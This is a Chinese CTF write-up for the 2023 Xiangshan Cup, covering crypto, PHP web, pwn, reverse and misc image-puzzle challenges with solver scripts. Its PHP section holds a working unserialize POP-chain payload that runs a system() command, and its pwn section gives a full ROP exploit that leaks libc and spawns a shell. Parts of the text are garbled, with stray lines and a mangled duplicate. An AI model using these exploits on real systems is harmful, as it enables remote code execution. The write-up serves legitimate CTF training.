香山杯 喵帕斯

感谢明琦和yolo师傅

image-20231016102525193

签到

base64+凯撒

image-20231015192934847

image-20231015193001284

flag{we1c0m3_2_Ctf}

list

题目附件

import os
import gmpy2
from Crypto.Util.number import *
import random
from secrets import flag
def pad(s,l):
    return s + os.urandom(l - len(s))
def gen():
    g = getPrime(8)
    while True:
        p = g * random.getrandbits(138) + 1
        if isPrime(p):
            break
    while True:
        q = g * random.getrandbits(138) + 1
        if isPrime(q):
            break
    N = p ** 5 * q
    phi = p ** 4 * (p - 1) * (q - 1)
    d = random.getrandbits(256)
    e = inverse(d, phi)
    E = e * g
    hint = gmpy2.gcd(E, phi)
    return N, E, hint

flag = pad(flag,64)
m = bytes_to_long(flag)
n,e,hint = gen()
c = pow(m,e,n)
print(f'hint = {hint}')
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
# hint = 251
# n = 108960799213330048807537253155955524262938083957673388027650083719597357215238547761557943499634403020900601643719960988288543702833581456488410418793239589934165142850195998163833962875355916819854378922306890883033496525502067124670576471251882548376530637034077
# e = 3359917755894163258174451768521610910491402727660720673898848239095553816126131162471035843306464197912997253011899806560624938869918893182751614520610693643690087988363775343761651198776860913310798127832036941524620284804884136983215497742441302140070096928109039
# c = 72201537621260682675988549650349973570539366370497258107694937619698999052787116039080427209958662949131892284799148484018421298241124372816425123784602508705232247879799611203283114123802597553853842227351228626180079209388772101105198454904371772564490263034162

首先要恢复 p,q.

恢复p、q后就是在有限域内开高次方的问题。

恢复p、q参考论文:https://eprint.iacr.org/2015/399.pdf

image-20231015193103519

$e*d=1\textbf{ }mod\textbf{ }phi,gcd(e,phi)=1\Rightarrow$

$ex-1=kphi\Rightarrow$

$因为n=p^{r}q,所以gcd(ex-1,n)=gcd(p^{r}(p-1)(q-1),p^{r}*q)=p^{r}$

在多项式时间内求解上面方程,用 small_roots() 就能恢复 p

exp

from gmpy2 import *
N = 108960799213330048807537253155955524262938083957673388027650083719597357215238547761557943499634403020900601643719960988288543702833581456488410418793239589934165142850195998163833962875355916819854378922306890883033496525502067124670576471251882548376530637034077
E = 3359917755894163258174451768521610910491402727660720673898848239095553816126131162471035843306464197912997253011899806560624938869918893182751614520610693643690087988363775343761651198776860913310798127832036941524620284804884136983215497742441302140070096928109039
c = 72201537621260682675988549650349973570539366370497258107694937619698999052787116039080427209958662949131892284799148484018421298241124372816425123784602508705232247879799611203283114123802597553853842227351228626180079209388772101105198454904371772564490263034162
e = E//g

PR.<x> = PolynomialRing(Zmod(N))
f = e*x - 1
res = f.monic().small_roots(X=2^256,beta=0.44)[0]
p = iroot(gcd(int(f(res)),N),4)[0]
q = N//p^5
print('p,q=',p,q)

# sage
# 开251次方
from Crypto.Util.number import *
import itertools

hint = 251
n = 108960799213330048807537253155955524262938083957673388027650083719597357215238547761557943499634403020900601643719960988288543702833581456488410418793239589934165142850195998163833962875355916819854378922306890883033496525502067124670576471251882548376530637034077
e = 3359917755894163258174451768521610910491402727660720673898848239095553816126131162471035843306464197912997253011899806560624938869918893182751614520610693643690087988363775343761651198776860913310798127832036941524620284804884136983215497742441302140070096928109039
c = 72201537621260682675988549650349973570539366370497258107694937619698999052787116039080427209958662949131892284799148484018421298241124372816425123784602508705232247879799611203283114123802597553853842227351228626180079209388772101105198454904371772564490263034162


p,q=69367143733862710652791985332025152581988181 ,67842402383801764742069883032864699996366777

p_list = [p,q]
mi = [5, 1]

# print(len(mi),len(p_list))
n_list = [ZZ(p_list[i]) ** mi[i] for i in range(len(mi))]

# print(n_list)
# print(reduce((lambda x, y: x * y), n_list) - n)   # 0
# print(euler_phi(p_list[0])) # 直接求欧拉函数

res=[]

for pi in n_list:
    d = inverse(int(e//251),euler_phi(pi))     # 对n_listt 每一个 pi 求欧拉函数
    m = pow(c,d,pi)                            # m = mm^108
    res.append(Zmod(pi)(m).nth_root(251, all=True))   # nth_root # 最后一部分把 e 的公因数 108 去除之后用 sage 的 nth_root 直接开根即可,爆破大概7分钟。
            # 在每一个pi环里 找到可以开108次方的放进result里面
            # 在环里开108次方
            # 会出来 9 个 list表 对应每个 pi
for vc in itertools.product(*res):
    _c = [int(x) for x in vc]
    m = long_to_bytes(int(crt(_c, n_list)))
    if b"flag" in m:
        print(m)
# b'flag{4b68c7eece6be865f6da2a4323edd491}\x9d\xcf\xdc\xcb\xb8\xbdd\xec\xadh\xa6C\x99\xa0)7\xfb\x02\xba\x90q8\x10+\x7f}'

PHP_unserialize_pro

源码

 <?php
    error_reporting(0);
    class Welcome{
        public $name;
        public $arg = 'welcome';
        public function __construct(){
            $this->name = 'Wh0 4m I?';
        }
        public function __destruct(){
            if($this->name == 'A_G00d_H4ck3r'){
                echo $this->arg;
            }
        }
    }

    class G00d{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
                die("U R A BAD GUY");
            }
            eval($shell($cmd));
        }
    }

    class H4ck3r{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }

    if(isset($_GET['data']))
        unserialize($_GET['data']);
    else
        highlight_file(__FILE__);
?> 

反序列化 最后记得绕过对f1ag的过滤

<?php

class Welcome
{
    public $name;
    public $arg='welcome';
    public function __construct(){
        $this->name = 'Wh0 4m I?';
    }
    public function __destruct(){
        if($this->name == 'A_G00d_H4ck3r'){
            echo $this->arg;
        }
    } 

}

class G00d
{
    public $shell;
    public $cmd;

}
class H4ck3r
{
    public $func;
    public function __toString(){
        $function = $this->func;
        $function();
    } 
}

$a = new Welcome();
$a->name = 'A_G00d_H4ck3r';
$a->arg = new H4ck3r();
$a->arg->func = new G00d();
$a->arg->func->shell = 'system';
$a->arg->func->$cmd = 'cd /;more `php -r "echo chr(102).chr(49).chr(97).chr(103);"`';
echo urlencode(serialize($a));xxxxxxxxxx <?php<?phpclass Welcome{    public $name;    public $arg='welcome';    public function __construct(){        $this->name = 'Wh0 4m I?';    }    public function __destruct(){        if($this->name == 'A_G00d_H4ck3r'){            echo $this->arg;        }    } }class G00d{    public $shell;    public $cmd;}class H4ck3r{    public $func;    public function __toString(){        $function = $this->func;        $function();    } }$a = new Welcome();$a->name = 'A_G00d_H4ck3r';$a->arg = new H4ck3r();$a->arg->func = new G00d();$a->arg->func->shell = 'system';$a->arg->func->$cmd = 'cd /;more `php -r "echo chr(102).chr(49).chr(97).chr(103);"`';echo urlencode(serialize($a));

Move

64 位小端序

image-20231015194046469

IDA 反编译

image-20231015194100001

再 bss 段输入 0x20 个字节,然后判断,成功则获得 0x10 个字节溢出

1、利用 bss 段泄露 libc

from pwn import *
from LibcSearcher import *
context(arch='amd64',log_level='debug',os='linux')
io = process('./pwn')
pop_rdi_ret = 0x0000000000401353 #: pop rdi ; ret
elf = ELF('./pwn')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
shellcode = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendafter('lets travel again!\n',shellcode) #shellcode 刚 好 0x20 个 字 节 , 所 以 不 能 使 用
sendline,不然会产生回车多出了一个字节
io.sendafter('Input your setp number','\x78\x56\x34\x12') #由于是小端序,所以 0x12345678 要
反着写,也要使用 send,不能使用 sendline
bss = 0x04050A0
leave_ret = 0x040124B
payload = 'a'*0x30 + p64(bss-8) + p64(leave_ret) #劫持 ebp 为 bss 的前八个字节地址(因为两
个 leave,ret 会往后跳 8 个字节)--跳转到 bss 执行 shell
io.sendafter('TaiCooLa',payload) #也要使用 send,不能使用 sendline
puts = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) #泄露 puts 函数的真实地址
print(hex(puts))

image-20231015194158364

2、泄露 libc

libc = LibcSearcher('puts',puts)

libc_base = puts - libc.dump('puts')

system = libc_base + libc.dump('system')

bin_sh = libc_base + libc.dump('str_bin_sh')

3、执行 shell

shellcode = p64(pop_rdi_ret) + p64(bin_sh) + p64(system) + p64(main)

io.sendafter('lets travel again!\n',shellcode)

payload = 'a'*0x30 + p64(bss-8) + p64(leave_ret)

io.interactive()

image-20231015194223148

最终 exp

from pwn import *
from LibcSearcher import *
context(arch='amd64',log_level='debug',os='linux')
io = process('./pwn')
pop_rdi_ret = 0x0000000000401353 #: pop rdi ; ret
elf = ELF('./pwn')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
shellcode = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendafter('lets travel again!\n',shellcode)
io.sendafter('Input your setp number','\x78\x56\x34\x12')
bss = 0x04050A0
leave_ret = 0x040124B
payload = 'a'*0x30 + p64(bss-8) + p64(leave_ret)
io.sendafter('TaiCooLa',payload)
puts = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(puts))
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
shellcode = p64(pop_rdi_ret) + p64(bin_sh) + p64(system) + p64(main)
io.sendafter('lets travel again!\n',shellcode)
payload = 'a'*0x30 + p64(bss-8) + p64(leave_ret)
io.interactive()

URL从哪儿来

image-20231015194532321

拖到32位ida反编译后发现进行了写入文件的操作,下断点动调

image-20231015194546262

双击跟进 TempFlieName 找到文件名和路径

一直运行程序发现进行了 CloseHandle 和 DeleteFileA 的操作

image-20231015194603036

重新动调,在 CloseHandle 操作前下断点然后去查看生成的临时tmp文件

因为开启第二次动调,发现每次生成文件的文件名都不同,这次是7379

image-20231015194620797

用010打开发现文件头是PE的头

改后缀为.exe后拖入ida分析

image-20231015194637735

先是拿到一堆数据

image-20231015194651522

发现进行了赋值到Block并进行了-30 的操作

image-20231015194702075

跟进一下sub_401110()函数

image-20231015194823672

简单分析一下走了一个base64解码

import base64
 cipher = [0x78,
 0x8B,
 0x96,
 0x86,
 0x78,
 0x51,
 0x91,
 0x50,
 0x6C,
 0x62,
 0x77,
 0x53,
 0x6C,
 0x88,
 0x63,
 0x50,
 0x78,
 0x71,
 0x4E,
 0x50,
 0x6B,
 0x98,
 qui1t_p3n
 qui1t_p3n
 
 
 
 
 
 
 
0x77,
 0x53,
 0x6A,
 0x72,
 0x77,
 0x97,
 0x6C,
 0x8B,
 0x77,
 0x92,
 0x6C,
 0x98,
 0x63,
 0x50,
 0x6D,
 0x71,
 0x4E,
 0x51,
 0x6C,
 0x62,
 0x77,
 0x96,
 0x6C,
 0x98,
 0x5F,0x50,
 0x6B,
 0x72,
 0x81,
 0x51,
 0x6C,
 0x88,
 0x64,
 0x57]
 code = ""
 for i in range(len(cipher)):
    code += chr(cipher[i] - 30)
 print(code)
 print(base64.b64decode(code))
 #输出结果:
#ZmxhZ3s2NDY5NjE2ZS02MzY5LTYyNmYtNzE2OS03NDYxNzA2MTc3NjF9
 #b'flag{6469616e-6369-626f-7169-746170617761}’

pintu

用montage和gaps搞了半天拼图 以为是二维码

然后并不行 查看了几个图片的大小 发现宽度都是65 但是高度各不相同

写个脚本 分析这4703张图片的高度 并将相同高度的图片放到相同文件夹中

import os
from PIL import Image
import shutil
# 输入文件夹的路径
input_folder = "E:\Desktop/2023香山杯\misc\pintu_26914c79abf08a72af534387e23ffdf6\pintu"

# 创建一个字典,用于存储不同高度的图片列表
height_to_images = {}

# 遍历输入文件夹中的图片
for filename in os.listdir(input_folder):
    if filename.endswith(".jpg") or filename.endswith(".png"):
        file_path = os.path.join(input_folder, filename)

        # 打开图片并获取其高度
        with Image.open(file_path) as img:
            height = img.height

        # 如果高度不在字典中,则创建一个新列表
        if height not in height_to_images:
            height_to_images[height] = []

        # 将图片添加到对应高度的列表中
        height_to_images[height].append(filename)

# 遍历字典,将同一高度的图片复制到对应的输出文件夹中
for height, images in height_to_images.items():
    # 创建输出文件夹
    output_folder = os.path.join("output_folder", str(height))
    os.makedirs(output_folder, exist_ok=True)

    for image_filename in images:
        input_path = os.path.join(input_folder, image_filename)
        output_path = os.path.join(output_folder, image_filename)

        # 复制图片
        shutil.copy(input_path, output_path)

print("图片分类完成")

image-20231015200652767

再加上提示的tip.jpg

image-20231015201119560

联想到8进制转10进制 再看高度也符合8进制的特点

写个脚本将所有图片的高度提取出来

import os
from PIL import Image

# 输入文件夹的路径
input_folder = "E:\Desktop\pintu\pintu"

# 创建一个空的文本文件用于写入高度数据
output_file = "E:\Desktop\pintu\pintu/height.txt"

# 获取文件夹中所有图片文件的列表
image_files = [filename for filename in os.listdir(input_folder) if filename.endswith((".png"))]

# 打开文本文件以进行写入
with open(output_file, "w") as f:
    # 遍历文件夹中的图片文件列表
    for i in range(1, 4074):
        filename = f'{i}.png'
        img = Image.open(f'{input_folder}/{filename}')
        height = img.height

        # 将高度写入文本文件,按顺序
        f.write(f"{height}"+" ")

print("高度数据已按顺序写入 height.txt 文件")

再将其转8进制 再将其转ascii码

image-20231015204618175

JRFTC5SFG5SU4STVHBTTCR2SKVSE2NKVIUYFCS2MOVFUWMLLGVKWITKLJZSE2NKVMRFUWY3EJU3VKZCNGVKU2SKQMNXE2WCVMRGTKVKNMM2XMRKLGE2US5SEOFWTMRDRNZVTO5LNGZCGYWDVOVYUG5KYKVWTMRDRMRBG4ZDNGZJE4TLWIRYWITJVOVWTMUSOMRGXK4LONM2VK3JWIRWGITJVMRWTMUSVJV3FEVLEJU2XKZCCNZKWITJVJZSE2NKVNZVTOVLEJU2VCWDVGVKUKTLEOFWTMRDMMRGTKVKYOU3XIRJWKJKGITJVKVSGEODQNJ2UWWCLGB2WWTDCOU3EWQRQJRCXKWDFMRBDINLJGVXEUSRPMFEUW5TYOFFEEWCTORGVQSBRNNJHKS2HKRDXIVSSOVEXE5JWNJGWCWCLIJIXATBXNZVUYQRROVIVMMDNORFWKR2JOJFU2S2JGBLEKTKQOFGU4UKGJN2FEUCNKY2EQQKOKVFU2TJVLBXESS3NMQXVMNZZKY2UQTJPMVSU2S2RINUXKMLVKFCW64KLJMZXO2JVJNEGI6JQO5GDKVJWOQ3TAMSLJVFFU2SNGAYW4Y2YMFGWWUSINJ2WY53EGA4WYTJWHB4GSZ2LJI4WENDWJQ3TKTBTG5LE45DHJNSUULZVOBFFMMJSJN2U2NSRM4YTSOKWMEZEYN3BOQ4UKZLDNFGVQ4SNJNIUUOJXNZ3FC23OOJFXONLZKFETQMTOI43VGSKNKBKTCVSQINUWENCLGFDWCYTJJU2GISLHGR3TG4SRIMZUES2YNZDTAMDUJUYEKTJQGV4ES6JRNVFWGMCUJI3XKN2NKZ4E45CHGB2DGYTBKFMHS33XIVHGK6KFO4YTCQ2CGRZG4VSYIFIWE6DXINZEW4BTI5QUC2LSG5LESVTOIF2E4YKTGM3TIVCKMIYTE3KHJMXXIY3PI52EK3TVNFZEWYKNO5LGW2SCKZYEK5ZUNQZXKODXLBCW4MJRKZFVAZCLKM3DSYRYKBXE4NCIJJVTE4KFKZITA2KJMR3UWQRUMFUWENDWJJHFCNDNNNJFGMZXMEXXIYTBKBIU2ZJPJIXVCSKYOI2HU5DHKM3USRJZOFGS642OGFDVQU3JGAYUW2TXGRAUS5KEKBXE2222JRTTG4BRIU2TMOKNGJ3UCTRVIZVESWCNNZRUWVSLJU2EM5COJM3VC5ZRMRXDA3ZXNFCTKWCKJZIWMMLDGREWUQTPJZUXSMBXNFTVQSCLIIZVI2TCNRIEK22LGZEWEUTMJU2WCZJZJV4FU2SJMVDFQVRXGFFGWUBYJJZG46CYGUYHSWBPGU4EWYRQJFVGEMLLNVVTS4KNOQ4DKSSHLAYDGRJVNBFUSNKFNZHDI2CFOU3U2M2NMFWUGSKSMFMGWN2WGM3TAOBTF42EEZDCHFWFQTLMOAZU

再将图片的颜色的黑白 转化为0和1

from PIL import Image
import os

color = ""
a = []
for i in range(1,4704):
    img = Image.open("./{}.png".format(i))
    width,height=img.size
    tmp = img.getpixel((0,0))
    if (tmp == (0,0,0)):
        color += "0"
    elif(tmp == (255,255,255)):
        color += "1"
    a.append(chr(int(str(height), 8 )))

print(color)

在转字符串

image-20231015205246528

得到换表

image-20231015205336865

保存为图片

image-20231015205412875

但是少文件尾

用脚本进行上述步骤 就可以补全文件尾

from PIL import Image
from libnum import n2s
from base64 import b32decode, b64decode
import os

bin_data = ''
dec_data = ''
image_directory = './pintu/'
for i in range(1, 4704):
    image_path = os.path.join(image_directory, f'{i}.png')
    if os.path.exists(image_path):
        # Open the image and extract data
        with Image.open(image_path) as image:
            pixel = image.getpixel((0, 0))
            dec_data += chr(int(str(image.height), 8))
            bin_data += '1' if pixel == (255, 255, 255) else '0'
bin_data = bin_data.ljust(((len(bin_data) + 7) // 8) * 8, '0')

new_b64 = 'sUvcu5rgSeAmJQCfdXtEMKIB91Lj3niOo4hyV0b/2azpx8HqZP6wk7GNlTFYDR+W'
old_b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
data = ''
for dec in dec_data.split(' '):
    data += chr(int(dec, 10))
data = b32decode(data).decode()
trans = ''.maketrans(new_b64, old_b64)
b64png = b64decode(data.translate(trans)).decode().split(' ')[0]
png_data = b64decode(b64png)

with open('./flag.png', 'wb') as f:
    f.write(png_data)

一眼抽象画npiet解密

.\npiet.exe -tpic E:\Desktop\pintu\flag.png

image-20231016100212654

得到flag